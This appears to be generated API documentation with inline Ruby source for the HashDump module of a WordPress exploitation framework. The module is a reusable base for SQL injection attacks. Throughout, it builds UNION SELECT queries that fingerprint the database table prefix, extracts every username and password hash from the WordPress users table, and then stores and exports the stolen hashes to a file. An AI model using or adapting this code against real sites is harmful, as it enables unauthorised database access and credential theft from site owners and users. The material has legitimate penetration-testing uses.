module Wpxf::WordPress::HashDump
Provides reusable functionality for hash dump modules.
Public Class Methods
Initialises a new instance of {HashDump}
# File lib/wpxf/wordpress/hash_dump.rb, line 8 def initialize super _update_info_without_validation( desc: %( This module exploits an SQL injection vulnerability to generate a dump of all the user hashes in the database. ) ) register_options([ StringOption.new( name: 'export_path', desc: 'The file to save the hash dump to', required: false ) ]) _generate_id_tokens end
Public Instance Methods
@return [String] the path to export the hash dump to.
# File lib/wpxf/wordpress/hash_dump.rb, line 30 def export_path return nil if normalized_option_value('export_path').nil? File.expand_path normalized_option_value('export_path') end
@return [Array] an array of values to use in the generated union statement.
# File lib/wpxf/wordpress/hash_dump.rb, line 41 def hashdump_custom_union_values [] end
@return [Integer] the number of columns in the vulnerable SQL statement.
# File lib/wpxf/wordpress/hash_dump.rb, line 73 def hashdump_number_of_cols 1 end
@return [String] a unique select statement that can be used to fingerprint the database prefix.
# File lib/wpxf/wordpress/hash_dump.rb, line 57 def hashdump_prefix_fingerprint_statement cols = _hashdump_union_cols cols[hashdump_visible_field_index] = "concat(#{_bof_token},0x3a,table_name,0x3a,#{_eof_token})" query = "select #{cols.join(',')} from information_schema.tables where table_schema = database()" return query unless reveals_one_row_per_request "#{query} limit #{_current_row},1" end
@return [Hash, String] the body to be used when requesting the hash dump.
# File lib/wpxf/wordpress/hash_dump.rb, line 88 def hashdump_request_body nil end
@return [Symbol] the HTTP method to use when requesting the hash dump.
# File lib/wpxf/wordpress/hash_dump.rb, line 78 def hashdump_request_method :get end
@return [Hash] the parameters to be used when requesting the hash dump.
# File lib/wpxf/wordpress/hash_dump.rb, line 83 def hashdump_request_params nil end
@return [String] a unique SQL select statement that can be used to extract the hashes.
# File lib/wpxf/wordpress/hash_dump.rb, line 46 def hashdump_sql_statement cols = _hashdump_union_cols cols[hashdump_visible_field_index] = "concat(#{_bof_token},0x3a,user_login,0x3a,user_pass,0x3a,#{_eof_token})" query = "select #{cols.join(',')} from #{table_prefix}users" return query unless reveals_one_row_per_request "#{query} limit #{_current_row},1" end
@return [Integer] the zero-based index of the column which is visible in the response output.
# File lib/wpxf/wordpress/hash_dump.rb, line 68 def hashdump_visible_field_index 0 end
@return [Boolean] returns true if only one row of the SQL query will be displayed per request.
# File lib/wpxf/wordpress/hash_dump.rb, line 36 def reveals_one_row_per_request false end
Run the module. @return [Boolean] true if successful.
# File lib/wpxf/wordpress/hash_dump.rb, line 104 def run return false unless super @_current_row = 0 emit_info 'Determining database prefix...' return false unless _determine_prefix emit_success "Found prefix: #{table_prefix}", true @_current_row = 0 emit_info 'Dumping user hashes...' hashes = _dump_and_parse_hashes.uniq _output_hashdump_table(hashes) _save_hashes(hashes) _export_hashes(hashes) if export_path true end
@return [String] the table prefix determined by the module.
# File lib/wpxf/wordpress/hash_dump.rb, line 98 def table_prefix @table_prefix end
@return [String] the URL of the vulnerable page.
# File lib/wpxf/wordpress/hash_dump.rb, line 93 def vulnerable_url nil end
Private Instance Methods
# File lib/wpxf/wordpress/hash_dump.rb, line 134 def _bof_token @_bof_token end
# File lib/wpxf/wordpress/hash_dump.rb, line 177 def _build_prefix_request_body body = hashdump_request_body unless body.nil? if body.is_a?(Hash) body.each do |k, v| body[k] = v.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement) end else body = body.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement) end end body end
# File lib/wpxf/wordpress/hash_dump.rb, line 192 def _build_prefix_request_params params = hashdump_request_params params&.each do |k, v| params[k] = v.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement) end params end
# File lib/wpxf/wordpress/hash_dump.rb, line 142 def _current_row @_current_row end
# File lib/wpxf/wordpress/hash_dump.rb, line 202 def _determine_prefix body = _build_prefix_request_body params = _build_prefix_request_params res = execute_request( method: hashdump_request_method, url: vulnerable_url, params: params, body: body, cookie: session_cookie ) return nil unless res&.code == 200 # If the prefix is found, regardless of the row mode, return it. @table_prefix = res.body[/#{_bof_token}\:([^:]+?)usermeta\:#{_eof_token}/, 1] return @table_prefix if @table_prefix return nil unless reveals_one_row_per_request # If the bof and eof tokens weren't found at all, there are no more rows available. return nil unless res.body.match?(/#{_bof_token}\:(.*?)\:#{_eof_token}/) # If the tokens were found, then we can try to query another row. @_current_row += 1 _determine_prefix end
# File lib/wpxf/wordpress/hash_dump.rb, line 156 def _dump_and_parse_hashes unless reveals_one_row_per_request res = _execute_hashdump_request return _parse_hashdump_body(res.body) end eof = false hashes = [] until eof res = _execute_hashdump_request break unless res.body.match?(/#{_bof_token}\:(.*?)\:#{_eof_token}/) hash = _parse_hashdump_body(res.body) hashes.push([hash[0][0], hash[0][1]]) if hash @_current_row += 1 end hashes end
# File lib/wpxf/wordpress/hash_dump.rb, line 138 def _eof_token @_eof_token end
# File lib/wpxf/wordpress/hash_dump.rb, line 146 def _execute_hashdump_request execute_request( method: hashdump_request_method, url: vulnerable_url, params: hashdump_request_params, body: hashdump_request_body, cookie: session_cookie ) end
# File lib/wpxf/wordpress/hash_dump.rb, line 245 def _export_hashes(hashes) File.open(export_path, 'w') do |f| hashes.each do |pair| f.puts "#{pair[0]}:#{pair[1]}" end end emit_success "Saved dump to #{export_path}" end
# File lib/wpxf/wordpress/hash_dump.rb, line 260 def _generate_id_tokens @_eof_token = Utility::Text.rand_numeric(10) @_bof_token = Utility::Text.rand_numeric(10) end
# File lib/wpxf/wordpress/hash_dump.rb, line 124 def _hashdump_union_cols cols = Array.new(hashdump_number_of_cols) { |_i| '0' } hashdump_custom_union_values.each_with_index do |value, index| cols[index] = value unless value.nil? end cols end
# File lib/wpxf/wordpress/hash_dump.rb, line 229 def _output_hashdump_table(hashes) rows = [] rows.push(user: 'Username', hash: 'Hash') hashes.each do |pair| rows.push(user: pair[0], hash: pair[1]) end emit_table rows end
# File lib/wpxf/wordpress/hash_dump.rb, line 255 def _parse_hashdump_body(body) pattern = /#{_bof_token}\:(.+?)\:(.+?)\:#{_eof_token}/ body.scan(pattern) end
# File lib/wpxf/wordpress/hash_dump.rb, line 239 def _save_hashes(hashes) hashes.each do |hash| store_credentials(hash[0], hash[1], 'hash') end end